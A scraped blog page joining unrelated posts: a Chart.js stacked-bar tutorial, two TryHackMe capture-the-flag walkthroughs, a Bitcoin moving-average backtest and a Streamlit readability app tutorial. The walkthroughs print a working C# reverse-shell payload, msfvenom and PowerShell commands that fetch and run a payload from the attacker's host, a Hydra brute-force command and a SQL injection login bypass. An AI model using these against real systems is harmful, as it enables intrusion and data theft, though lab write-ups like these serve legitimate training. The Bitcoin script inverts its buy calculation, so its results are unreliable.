Posted on Leave a comment

Chart JS Stacked Bar Example

by Vincy. Last modified on January 20th, 2023.

The ChartJS JavaScript library supports various types of charts to display on a webpage.

This quick example shows how to display a basic stacked bar chart using this library. The library initiation will be simple for all types of charts as we did in the ChartJS line chart code.

Quick example

<!DOCTYPE html>
<html>
<head>
<title>Chart JS Stacked Bar Chart Example</title>
<link rel='stylesheet' href='style.css' type='text/css' />
</head>
<body> <div class="phppot-container"> <h1>Chart JS Stacked Bar Chart Example</h1> <canvas id="stacker-bar-chart"></canvas> </div> <script src="https://cdn.jsdelivr.net/npm/chart.js@4.0.1/dist/chart.umd.min.js"></script> <script> var ctx = document.getElementById("stacker-bar-chart").getContext('2d'); var myChart = new Chart(ctx, { type: 'bar', data: { labels: ["< 100", "100 - 200", "300 - 400", "500 - 800", "900 - 1000"], datasets: [{ label: 'Lion', backgroundColor: "#51EAEA", data: [90, 120, 305, 526, 958], }, { label: 'Tiger', backgroundColor: "#FCDDB0", data: [82, 145, 335, 516, 936], }, { label: 'Elephant', backgroundColor: "#FF9D76", data: [62, 159, 375, 756, 951], }], }, options: { tooltips: { displayColors: true, callbacks: { mode: 'x', }, }, scales: { x: { stacked: true, }, y: { stacked: true } }, responsive: true } }); </script>
</body>
</html>

Output:

The graph output displays the stack on a vertical axis. It compares the animals’ counts at each point taken for the graph.

The stacked bar chart plots a group of bars on top of one another. We have already seen grouped bar charts that combine bars side by side.

The grouped and stacked bar charts are used to show a comparison of data.

ChartJS Horizontal stacked graph example

This example is to display the stacked chart horizontally. The ChartJS initiation of this example differs from the above code only by the index axis.

This example specifies indexAxis: ‘x’ to show a horizontal stacked bar chart. By specifying this the data points are taking the x-axis about which the bars are stacked on top of one another.

horizontal-stacked-chart.html

<!DOCTYPE html>
<html>
<head>
<title>Chart JS Horizontal Stacked Bar Chart Example</title>
<link rel='stylesheet' href='style.css' type='text/css' />
</head>
<body> <div class="phppot-container"> <h1>Chart JS Horizontal Stacked Bar Chart Example</h1> <canvas id="horizontal-stacker-bar-chart"></canvas> </div> <script src="https://cdn.jsdelivr.net/npm/chart.js@4.0.1/dist/chart.umd.min.js"></script> <script> var ctx = document.getElementById("horizontal-stacker-bar-chart").getContext('2d'); var myChart = new Chart(ctx, { type: 'bar', data: { labels: ["< 100", "100 - 200", "300 - 400", "500 - 800", "900 - 1000"], datasets: [{ label: 'Jaguar', backgroundColor: "#FB3569", data: [90, 120, 305, 526, 958], }, { label: 'Horse', backgroundColor: "#FCDDB0", data: [82, 145, 335, 516, 936], }, { label: 'Leopard', backgroundColor: "#82CD47", data: [62, 159, 375, 756, 951], }], }, options: { tooltips: { displayColors: true, callbacks: { mode: 'x', }, }, scales: { x: { stacked: true, }, y: { stacked: true } }, indexAxis: 'y', responsive: true } }); </script>
</body>
</html>

About the ChartJS target and parameters to render the stacked bar chart

Let us see some of the important parameters required to create the stacked bar chart for the browser.

The above two examples include the ChartJS library file using the CDN URL. It is preferable compared to having a local copy of this library.

This JS script targets a HTML canvas element to render the stacked bar chart.

It gets the canvas element context and uses it during the ChartJS initiation.

What are the parameters for rendering the stacked bar using ChartJS?

  • type – It requires specifying ‘bar’ as we did for displaying a ChartJS bar chart.
  • data – It prepares the array of labels and datasets.
    • labels parameter has the data points.
    • datasets have the readings with appropriate captions and colors.
  • options – It specifies the chart properties about the direction or axis. For example,
    • tooltips
    • scales
    • indexAxis
    • responsive

This example displays a responsive chart by setting the option responsive as true. We have also used Google charts to create responsive bar/column/pie charts.
Download

↑ Back to Top

Posted on Leave a comment

TryHackMe – Game Zone Walkthrough

5/5 – (1 vote)

YouTube Video

CHALLENGE OVERVIEW

  • Link: https://tryhackme.com/room/gamezone
  • Difficulty: Easy
  • Target: user and root flags on a Linux server
  • Highlights: leveraging port forwarding to expose a webservice from behind a firewall, using sqlmap to find a username and hashed password
  • Tools used: sqlmap, nmap, dirb, burpsuite, hydra, john the ripper, metasploit
  • Tags: sqli, hashcracking, metasploit, ssh tunnel

BACKGROUND

In this Linux capture-the-flag (CTF) challenge we are tasked with hacking into a game review website’s server and finding a way to gain root privileges. Let’s go!

IPs

export targetIP=10.10.163.79
export myIP=10.6.2.23

ENUMERATION/RECON

Let’s kick things off with our standard nmap and dirb scans. We’ll let these run while we go ahead and walk the website looking for interesting leads.

To find the character’s name on the main page, we can do a reverse image search on google. I’ve played this title before but forgot his name, so I just googled “hitman game character name” to find the answer to our first question. (agent 47)

NMAP SCAN RESULTS

DIRB SCAN RESULTS

WALK THE WEBSITE

We see a login portal on the landing page of our target IP. We also look at the /images folder that dirb found, but nothing remarkable is there at first glance.

Due to a lack of proper data sanitization, we discover that the login can be bypassed by entering the following username and leaving the password blank:

' or 1=1 -- -

The login trick works, and we are presented with a search box.

INITIAL FOOTHOLD – INTERCEPT A POST REQUEST WITH BURP

Let’s fire up burpsuite now to intercept an HTTP-post request made with this search box.

Intercepted HTTP-post request:

POST /portal.php HTTP/1.1
Host: 10.10.134.32
Content-Length: 17
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.134.32
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.134.32/portal.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=v82et4dbp2fsr264tqhipmr1k5
Connection: close searchitem=hitman

We’ll save this request in a file titled req.

If you use burpsuite to capture the request, you can directly download it as a file. A word of caution: Using Firefox developer mode to intercept and save the request saved it double-spaced for some reason, and I suspect the formatting caused it to screw up the sqlmap command. 

USING SQLMAP TO EXTRACT THE FULL DATABASE 

With the following command, we can instruct sqlmap to attempt to download (dump) the entire database and search for login username and hashed password.

sqlmap -r req --dbms=mysql --dump --level 5

It worked! We see that the database stores a list of game titles and reviews.

The most interesting piece of information here is the password. It looks like a hashed password. We can use an online hash identifier program like hashes.com to find out the hash type.

+------------------------------------------------------------------+----------+
| pwd | username |
+------------------------------------------------------------------+----------+
| ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14 | agent47 |

We can see that it is probably a SHA256 encrypted string. Now it’s time to …

CRACK THAT HASH WITH JOHN (THE RIPPER)!

john hash.txt --wordlist=/home/kalisurfer/hacking-tools/rockyou.txt --format=Raw-SHA256

rockyou.txt is a legendary leaked database of passwords (14,344,391 passwords!)

Output:

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 512/512 AVX512BW 16x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
videogamer124	(?)
1g 0:00:00:00 DONE (2023-01-14 12:23) 1.449g/s 4369Kp/s 4369Kc/s 4369KC/s vimivera..tyler912
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed

SSH INTO THE BOX AND GRAB THE USER FLAG

ssh agent47@10.10.151.6

We are in!

agent47@gamezone:~$ cat user.txt
64—---digits omitted—--------5c

PRIVILEGE ESCALATION

This box requires a two-step process of port forwarding via ssh and then throwing a reverse meterpreter shell to a listener.

Let’s check for hidden services running on ports that may be behind a firewall. We can use the ss utility to check out all of the data connections from each port on our target machine.

agent47@gamezone:~$ ss -t -u -l -p -n

Output:

Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 *:10000 *:*

This first line is curious. It appears that a service is running on port 10000 of the target system.

Let’s go ahead and port forward to see what is lying behind the firewall. Port 10000 is typically used for server tools and configuration services.

SET UP PORT FORWARD WITH SSH

The following command will activate port forwarding via ssh:

ssh -L 10000:localhost:10000 agent47@10.10.151.64
password: —-cracked-password—-
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-159-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 109 packages can be updated.
68 updates are security updates. Last login: Sat Jan 14 18:21:17 2023 from 10.6.2.23
agent47@gamezone:~$

We are connected now with port forwarding in place. Let’s navigate in our browser to http://$targetIP:10000

After logging in with the same username:password combination we used with ssh, we are given access to a webmin portal.

PRIVESC WITH METASPLOIT

Searching for webmin in Metasploit brings up the following Metasploit module.

Let’s use it and set it up with the following options:

Let it rip! 

run

And it connects us to a shell. We can use the following command to interact with the meterpreter on session 0.

sessions -i 0

And we now have our root flag! Thanks for reading this write-up.

Posted on Leave a comment

How I Solved the Hackpark Walkthrough (TryHackMe)

5/5 – (1 vote)

YouTube Video

CHALLENGE OVERVIEW

  • Link: hackpark
  • Difficulty: Medium
  • Target: user and root flags on a windows machine
  • Highlight: using metasploit to quickly and easily gain root access 
  • Tools: nmap, dirb, hydra, burpsuite, msfvenom
  • Tags: RCE (remote code execution), Windows

BACKGROUND

In this box, we will hack into a windows machine using standard pen-testing tools. There are two options for solving the box.

I’ll demonstrate in this post how to hack into the box with metasploit. In the upcoming Hackpark Part II post, I’ll show how to find the flags without using metasploit.

ATTACK MAP

IPs

First, let’s record our IP addresses in export format to use as bash variables.

export myIP=10.6.2.23
export targetIP=10.10.72.99

ENUMERATION

We’ll kick things off with a dirb scan and an nmap scan.

/admin is discovered on targetIP with dirb. ┌─[kalisurfer@parrot]─[~]
└──╼ $nmap 10.10.208.243
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-08 16:03 EST
Nmap scan report for 10.10.208.243
Host is up (0.098s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server

The ms-wbt-server looks interesting. A quick google search shows that this port is used for windows remote desktop. We may come back to this later on in the hack.

PREPPING OUR COMMAND FOR HYDRA

Next, we’ll use firefox in developer mode to inspect the POST request when we attempt to login to the /admin portal with generic credentials (admin:pass).

__VIEWSTATE=Ik8Nvzb7OPvdGbKFiQG65vUd0%2BKTMDTlsuaJHFI0n8AGY6ejY97f8BtzIPa7NQD6ojY6%2BrSLbrLQTpGUW7PNN9yu81%2BCr%2BzyoGnG5t7h21SlApufYlxqpTftAU7kTGIVDHtrw%2FHc%2FbHRLj78Vg3uIgS1tBETE8yA%2FyhVkcxlv4S57ylx&__EVENTVALIDATION=KzdpR5ig%2BeM9w8w06SCMiInTpqbnYjXVG%2BDsvem6bDW%2FszuOrIZ3bwrEZB4Ps4uxbPdetrkQk72MA02Zly2E8U%2FYGMss7sshnGSsNoB6bxRQVsMu7PvPvPWKMYgqIU4DNXIVP75lYFa9ROEIMvKVip1Q%2F0ofNG0%2FXAWpg3L4ag2J%2FxFs&ctl00%24MainContent%24LoginUser%24UserName=user&ctl00%24MainContent%24LoginUser%24Password=pass&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in__VIEWSTATE=Ik8Nvzb7OPvdGbKFiQG65vUd0%2BKTMDTlsuaJHFI0n8AGY6ejY97f8BtzIPa7NQD6ojY6%2BrSLbrLQTpGUW7PNN9yu81%2BCr%2BzyoGnG5t7h21SlApufYlxqpTftAU7kTGIVDHtrw%2FHc%2FbHRLj78Vg3uIgS1tBETE8yA%2FyhVkcxlv4S57ylx&__EVENTVALIDATION=KzdpR5ig%2BeM9w8w06SCMiInTpqbnYjXVG%2BDsvem6bDW%2FszuOrIZ3bwrEZB4Ps4uxbPdetrkQk72MA02Zly2E8U%2FYGMss7sshnGSsNoB6bxRQVsMu7PvPvPWKMYgqIU4DNXIVP75lYFa9ROEIMvKVip1Q%2F0ofNG0%2FXAWpg3L4ag2J%2FxFs&ctl00%24MainContent%24LoginUser%24UserName=user&ctl00%24MainContent%24LoginUser%24Password=pass&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in

Next, we’ll prepare our command for hydra to use to brute-force our way into the admin portal.

hydra -l admin -P /home/kalisurfer/hacking-tools/rockyou.txt 10.10.72.99 http-post-form "/Account/login.aspx?ReturnURL=%2fadmin:__VIEWSTATE=AQWOT7qT89VUF9tqt9CcJxYj9HZaL2gEIdS%2F7EX6bVPPKSW75bNJUrkMtH5N7ca98BgUSI9lNnsYcwm3aaM37KLFLBXXfrIJxCZma36IBRRCWTCZe%2BXoBJOFbJnGnQrGbrZEr6acimyj5ZwEGf0OAuAfc1xWkJ0%2BrszOq1MNzhtok7qDPJ%2FZf5IAVBD%2Fmt6iBA4TSBv7cqegT%2FppXiEqxwlcrI7XTwCbqAKYhdIDyM1QMY5TTAMFdbntYPdEDoR3x2ZK1mmM3TAS03J1Y4d%2BkOZWGvuEzbpD2FK8oRD7V9FxyizlIyxKK6egJMLHkF8wLekBf2kxBLX0l64Dbb68YbWyGVmNi6bt%2BqH02JOxtv6pPXlY&__EVENTVALIDATION=E2cc8lwr7Dt6tUQcOjjl5fktG5y5DFErZ%2F%2FA5fVpnOdEG3r6M5vBCXiCPZMX9Z%2F%2B3sFhi58t3fO73JqPN4XtBRJLOgWcMqZRv1vvAb7Up1ElProlDH2kPYAUjONCs76hrlMAsAdWSPId8TAgEByU6Ag3pmhDpmlWP6cNFkjswMWLxUIz&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed"
  • -l is for username
  • -P is for password wordlist 
  • http-post-form specifies the type of TCP request
  • :Login failed (at the end of the command) specifies the message response after a failed login attempt

Results:

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-01-08 18:02:09
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://10.10.208.243:80/Account/login.aspx?ReturnURL=%2fadmin:__VIEWSTATE=AQWOT7qT89VUF9tqt9CcJxYj9HZaL2gEIdS%2F7EX6bVPPKSW75bNJUrkMtH5N7ca98BgUSI9lNnsYcwm3aaM37KLFLBXXfrIJxCZma36IBRRCWTCZe%2BXoBJOFbJnGnQrGbrZEr6acimyj5ZwEGf0OAuAfc1xWkJ0%2BrszOq1MNzhtok7qDPJ%2FZf5IAVBD%2Fmt6iBA4TSBv7cqegT%2FppXiEqxwlcrI7XTwCbqAKYhdIDyM1QMY5TTAMFdbntYPdEDoR3x2ZK1mmM3TAS03J1Y4d%2BkOZWGvuEzbpD2FK8oRD7V9FxyizlIyxKK6egJMLHkF8wLekBf2kxBLX0l64Dbb68YbWyGVmNi6bt%2BqH02JOxtv6pPXlY&__EVENTVALIDATION=E2cc8lwr7Dt6tUQcOjjl5fktG5y5DFErZ%2F%2FA5fVpnOdEG3r6M5vBCXiCPZMX9Z%2F%2B3sFhi58t3fO73JqPN4XtBRJLOgWcMqZRv1vvAb7Up1ElProlDH2kPYAUjONCs76hrlMAsAdWSPId8TAgEByU6Ag3pmhDpmlWP6cNFkjswMWLxUIz&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed
[STATUS] 663.00 tries/min, 663 tries in 00:01h, 14343735 to do in 360:35h, 16 active
[80][http-post-form] host: 10.10.208.243 login: admin password: 1qaz2wsx
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-01-08 18:03:43

INITIAL FOOTHOLD

Now we can log in with the user:password combo admin:1qaz2wsx

We are shown an admin dashboard. Searching up blogengine in exploits-db.com reveals a possible exploit for us to use: (CVE-2019-6714).

To use the exploit, we need to upload the exploit’s payload (PostView.ascx) through the file manager. We can then trigger it by accessing the following address in our browser:

http://10.10.172.59/?theme=../../App_Data/files

And we should then be able to catch the revshell with a netcat listener.

PREPARE THE PAYLOAD

We need to change the IP and ports (in bold below) in the following payload, and then save it as PostView.ascx

payload:
<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %> <script runat="server"> static System.IO.StreamWriter streamWriter; protected override void OnLoad(EventArgs e) { base.OnLoad(e); using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.6.2.23", 8888)) { using(System.IO.Stream stream = client.GetStream()) { using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) { streamWriter = new System.IO.StreamWriter(stream); StringBuilder strInput = new StringBuilder(); System.Diagnostics.Process p = new System.Diagnostics.Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.CreateNoWindow = true; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardError = true; p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler); p.Start(); p.BeginOutputReadLine(); while(true) { strInput.Append(rdr.ReadLine()); p.StandardInput.WriteLine(strInput); strInput.Remove(0, strInput.Length); } } } } } private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) { StringBuilder strOutput = new StringBuilder(); if (!String.IsNullOrEmpty(outLine.Data)) { try { strOutput.Append(outLine.Data); streamWriter.WriteLine(strOutput); streamWriter.Flush(); } catch (Exception err) { } } } </script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>

SET UP THE NC LISTENER

Next, let’s spin up a netcat listener with the command:

nc -lnvp 8888

TRIGGER THE REV SHELL

Now that our malicious payload is uploaded and our netcat listener is activated, all we have to do is navigate to the following address, and we should catch the reverse shell as planned. 

http://10.10.172.59/?theme=../../App_Data/files

And … bingo! We’ve caught the revshell and we are in with our initial foothold!

UPGRADE THE SHELL TO METERPRETER

Now that we are in the shell, we can work to upgrade our shell to a meterpreter shell. This will allow us to use many powerful tools within metasploit framework.

We’ll use python3 to spin up a simple HTTP server that can help us serve the reverse meterpreter shell payload file to the windows machine. 

USE MSFVENOM TO CREATE REVSHELL PAYLOAD

The following command will create the payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.6.2.23 LPORT=8888 -f exe -o payload.exe

The payload did not work on my machine, so I added encoding using a standard encoder, the “shikata gai nai”. 

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.6.2.23 LPORT=9999 -f exe -o payload.exe

TRANSFER THE MSFVENOM PAYLOAD TO TARGET

Next, we’ll transfer the encoded payload from our attack machine to the target machine. 

Let’s navigate to the directory that holds the payload.exe on our attack machine. Then we’ll spin up a simple HTTP server using the command:

Python3 -m http.server

Then we’ll grab the file and copy it to our target Windows machine from the HTTP server:

powershell -c "Invoke-WebRequest -Uri 'http://10.6.2.23:8000/payload.exe' -OutFile 'C:\Windows\Temp\winPEASx64.exe'"

Notice that we save the file in the Temp directory because we have to write permissions there. This is a common configuration that can be leveraged as an unprivileged user.

CATCH THE METERPRETER SHELL WITH METASPLOIT

First, let’s fire up Metasploit console:

msfconsole

Then load the handler:

use exploit/multi/handler

Next, we need to set the lport, lhost, and set the payload to windows/meterpreter/reverse_tcp

Now that everything is set up correctly, we can run it to boot up the meterpreter listener:

Run

activate the shell.exe on the target machine to throw a meterpreter revshell

And we got it! The lower left console window shows the meterpreter shell.

Now that we are running a meterpreter shell in msfconsole we can quickly pwn the system with:

getsystem

And view the system information:

sysinfo

We can view our user information with the command:

getuid

Since we are already NT Authority, thanks to the magical powers of Metasploit, we don’t need to do anything else except locate and retrieve the two flags.

We found both flags!

In the next post, I’ll walk you through an alternate solution to this box without needing Metasploit.

Posted on Leave a comment

Bitcoin – Trading Moving Averages or HODL? A Python Script Uncovers the Answer!

5/5 – (1 vote)

I’ve always wondered if a slow and high-level trading strategy focusing on long-term trends could outperform a buy-and-hold strategy.

To answer this question, I created a Python script that would utilize a momentum-based strategy to tell me when to buy and when to sell Bitcoin.

Despite my busy life and doubts that day trading would be a successful venture, I was eager to find out if this simple program could beat the market. I can run the Python code daily to decide whether to buy or sell BTC.

What would have happened if I had used the following strategy between the turbulent years 2020 and 2022 in Bitcoin? Read on to find out! 👇

General Idea

The idea of this algorithm is to allow traders to automate their Bitcoin trading decisions using two moving averages.

👉 Finxter Academy: Complete Python Trading Course (Binance) — Simple Moving Average

The algorithm will enter buy positions when the shorter-term moving average (MA1) is higher than the longer-term moving average (MA2) indicating a positive momentum of the Bitcoin price, and enter sell positions when the shorter-term moving average is lower than the longer-term moving average indicating a negative momentum of the Bitcoin price.

When the moving averages cross, the algorithm will close any existing positions and reverse the trading direction.

Algorithm Steps

My strategy follows these simple steps:

  1. Initialize two moving averages, MA1 and MA2, with different lookback periods.
  2. Calculate the current value of each moving average.
  3. If MA1 > MA2, enter a buy position in the Bitcoin market.
  4. If MA1 < MA2, enter a sell position in the Bitcoin market.
  5. Monitor the market for any changes in the moving averages.
  6. When the moving averages cross, close any existing positions and reverse the trading direction (buy if previously selling, sell if previously buying).
  7. Repeat steps 2 to 6.

Python Program to Automate It

The following program implements these steps in practice by pulling the Bitcoin price data from an online API, calculating the moving averages (short- and long-term), and trading based on whether the short-term MA is below or above the long-term MA.

I’ll explain the code in a minute!

import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import requests # Get Bitcoin Price Data
URL = 'https://www.alphavantage.co/query?function=DIGITAL_CURRENCY_DAILY&symbol=BTC&market=USD&apikey=APIKEY'
response = requests.get(URL) data = response.json() daily_data = data["Time Series (Digital Currency Daily)"] # Convert JSON to DataFrame
df = pd.DataFrame(daily_data)
df = df.T # Create two Moving Averages
MA1 = 20
MA2 = 50
df['MA1'] = df['1a. open (USD)'].rolling(MA1).mean()
df['MA2'] = df['1a. open (USD)'].rolling(MA2).mean() # Initialize variables
position = 0
my_usd = 10000
my_btc = 0 print('Initial balance:', str(my_usd), 'USD') # Backtest Algorithm
for i in range(len(df)): # Get price price = float(df['1a. open (USD)'].iloc[i]) # Buy position if df['MA1'].iloc[i] > df['MA2'].iloc[i] and position == 0: position = 1 my_btc = price / my_usd my_usd = 0 print('Buying at', price, 'on', df.index[i]) # Sell position elif df['MA1'].iloc[i] < df['MA2'].iloc[i] and position == 1: position = 0 my_usd = price * my_btc my_btc = 0 print('Selling at', price, 'on', df.index[i]) print('Final balance:', str(my_usd + my_btc * price)) initial_btc = float(df['1a. open (USD)'].iloc[0]) / 10000
value_today = initial_btc * float(df['1a. open (USD)'].iloc[-1])
print('Final balance (buy and hold):', str(value_today))

Code Explanation

This code implements the algorithm described above.

The first portion of the code is getting the daily Bitcoin price data from the API and converting it into a DataFrame.

Next, the code creates two moving averages, MA1 and MA2, based on the open price of Bitcoin. Then, the code initializes the position variable to 0.

The backtest algorithm then runs a loop to iterate through the DataFrame to identify when conditions are met to buy or sell. If the shorter-term MA1 is higher than the longer-term MA2, the code will enter a buy position.

Similarly, if the shorter-term MA1 is lower than the longer-term MA2, the code will enter a sell position. We don’t assume short selling so “selling” on an empty position just means waiting for the next buy opportunity.

Finally, if the MA1 and MA2 cross, the code will close any existing position and reverse the trading direction.

Backtesting the Strategy

Let’s have a look at an example run — note to read this from bottom to top! 👇

Initial balance: 10000 USD
Buying at 20905.58 on 2022-11-07
Selling at 18809.13 on 2022-09-26
Buying at 21826.87 on 2022-09-12
Selling at 19331.28 on 2022-07-13
Buying at 28424.71 on 2022-06-12
Selling at 41941.7 on 2022-03-10
Buying at 42380.87 on 2022-02-07
Selling at 36660.35 on 2022-01-25
Buying at 41566.48 on 2022-01-08
Selling at 57471.35 on 2021-10-12
Buying at 47674.01 on 2021-08-25
Selling at 44572.54 on 2021-08-08
Buying at 40516.28 on 2021-06-15
Selling at 57351.56 on 2021-03-22
Buying at 57641.0 on 2021-03-19
Selling at 56900.74 on 2021-03-17
Buying at 11318.42 on 2020-08-26
Selling at 9538.1 on 2020-07-25
Buying at 9772.44 on 2020-06-10
Selling at 9315.96 on 2020-05-16
Final balance: 14806.674822101442
Final balance (buy and hold): 15095.029852800002

So, you see, in the period between May 2020 and November 2022, trading wouldn’t have been more profitable than simply buying and holding Bitcoin — even when ignoring trading fees and higher tax burden.

And ignoring the fact that Bitcoin has had huge up and down volatility, which should be great for trading. That is — in theory.

Conclusion

Buy and HODL!

Posted on Leave a comment

How I Built a Readability and Grammar Checker App Using Streamlit

5/5 – (1 vote)

I will show you the steps I took to create a readability and grammar checker app using Streamlit. You can use it to improve your programming skills and add to your portfolio.

💡 Info: Streamlit is a popular open-source app framework among data scientists as it’s used for developing and deploying Machine Learning and Data Science web apps in minutes.

As we will see, Streamlit goes beyond turning data scripts into shareable web apps. Programmers use it to create anything within its capabilities. A quiz app, an anagram app, and a currency converter app are some of them.

Project Overview

A readability checker tool provides a quick way to assess the readability of a text and how readers can understand your work. This is especially helpful if you are writing a book or a blog and want to know where you need to work to improve readability for various audiences.

The Python ecosystem consists of third-party libraries and frameworks that support a particular application.

There’s no need to reinvent the wheel, as the heavy lifting is already done for us. Hence with a few libraries coupled with a bit of finishing touch from us, we will get our readability and grammar checker app up and running in no distant time.

Try It! You can check out my app here: click this link to view my app live on Streamlit Cloud.

Prerequisites

This tutorial assumes nothing more than a basic knowledge of Python programming, including functions, ifelse, and for loops.

👉 Recommended: Python Crash Course on the Finxter Blog

Although I try my best to explain the procedures, I encourage you to wrap your head around the basics because it’s not every step I have to explain. I expect you to have background knowledge already.

Importing Libraries

Before we get started, let’s import the libraries we will be using in this project.

import streamlit as st
import textstat as ts
from pdfminer.high_level import extract_text
from pdfminer.layout import LTTextContainer
from io import StringIO
import docx2txt
import requests
from bs4 import BeautifulSoup as bs
import language_tool_python

Everything above is self-explanatory. We will use textstat to check the readability of a text. We will also use io to extract text from a TXT document. The library anguage_tool_python will help us check spelling and grammar. I will explain other libraries as we proceed.

Our project is a combination of several functions and callback functions we define, which are all linked together to get the job done. So, without further ado, let’s get started.

The Main Function

Our project started with what we call the main() function which contains several options that, when selected, caused the execution of another function.

def main(): mode = st.sidebar.selectbox('Select your option', ['Text', '.pdf', '.txt', '.docx', 'Online']) # a function is called depending on the mode selected if mode == 'Text': text_result() elif mode == '.pdf': upload_pdf() elif mode == '.txt': upload_txt() elif mode == '.docx': upload_docx() else: get_url()
… if __name__ == '__main__': main()

We want to give our app users the option to select what form their document is, whether they want to copy and paste into the textbox or upload an e-book, or even select from a webpage. We call Streamlit to display these options as a sidebar.

At the very last of our script, we set the __name__ variable as __main__ , which is the main() function. This is to ensure it is running as soon as we open Streamlit, and not run when imported into another program.

👉 Recommended: Python __name__ == '__main__' Explained

The Textbox

If our user selects ‘Text’, the text_result() function will execute. The function calls on Streamlit to display a textbox using st.text_area labeled ‘Text Field’, and the placement stored in the text variable will appear in the textbox.

def text_result(): text = 'Your text goes here...' #displaying the textbox where texts will be written box = st.text_area('Text Field', text, height=200) scan = st.button('Scan File') # if button is pressed if scan: # display statistical results st.write('Text Statistics') st.write(readability_checker(box))

The function also calls on Streamlit to insert a button which when pressed causes Streamlit to display readability results using st.write.

The text_result() function sends your texts in the box variable to a callback function, readability_checker() function, and st.write() displays the result.

def readability_checker(w): stats = dict( flesch_reading_ease=ts.flesch_reading_ease(w), flesch_kincaid_grade=ts.flesch_kincaid_grade(w), automated_readability_index=ts.automated_readability_index(w), smog_index=ts.smog_index(w), coleman_liau_index=ts.coleman_liau_index(w), dale_chall_readability_score=ts.dale_chall_readability_score(w), linsear_write_formula=ts.linsear_write_formula(w), gunning_fog=ts.gunning_fog(w), word_count=ts.lexicon_count(w), difficult_words=ts.difficult_words(w), text_standard=ts.text_standard(w), sentence_count=ts.sentence_count(w), syllable_count=ts.syllable_count(w), reading_time=ts.reading_time(w) ) return stats

So what this text_result() does is to accept input and, when prompted, send the input to the readability_checker() function to scan and return results in the form of a dictionary.

👉 Recommended Tutorial: Python Dictionary – Ultimate Guide

That’s all it takes to set up our readability checker app.

Had it been we had only this option in our main function, we would have called it a day. But we want to give our users more options to make a choice. But, the more features we add, the more Python scripts we need to write to execute such features.

PDF Mode

Back to our main() function. if our users select the pdf option, the upload_pdf() function will execute.

def upload_pdf(): file = st.sidebar.file_uploader('Choose a file', type='pdf') if file is not None: pdf = extract_text(file) #sending the text to textbox document_result(pdf)

This function calls Streamlit to produce a file uploader to enable us to upload a PDF file. And when we upload the file, the extract_text() function from pdfminer does the heavy lifting for us. By default, Streamlit accepts all file extensions. By specifying the type, it allows only such.

The Setback

I wanted to make this process as seamless as possible.

What I wanted to do was to call on pdfminer library to extract the text, and send it to the readability_checker() which scans and produces the result that will appear using st.write() without ever seeing the content of the file.

I wasn’t able to do so. Hence, I will appreciate anyone who can reach out to me with a solution to this problem.

A Workaround

I wasn’t deterred, though.

Since there are so many ways to kill a rat, I found a workaround with a little help from Streamlit. I benefited from Streamlit’s ability to display text as a placement in a textbox, as seen in our text_result() function.

So, I created a function like text_result() but with a parameter that will collect the very text extracted from the PDF file and have it displayed in the textbox.

Give me a round of applause. That’s my feat of engineering! Alright, let’s implement it.

def document_result(file): #displaying the textbox where texts will be written box = st.text_area('Text Field', file, height=200) scan = st.button('Scan Text') # if button is pressed if scan: # display statistical results st.write('Text Statistics) st.write(readability_checker(box))

Make sure you are using the latest version of pdfminer installed using PIP as ‘pip install pdfminer.six’.

Alright, we have passed that setback but have our PDF displayed inside the textbox, which is not bad after all.

The only downside comes from the pdfminer library. It takes time to process bulky files. You may want to try other libraries in your project.

When users choose other options in our main() function, the respective functions get executed in the same way using the libraries imported and send to the document_result() function, which, in turn, passes the file to the readability_checker() to scan. Finally, it displays the result.

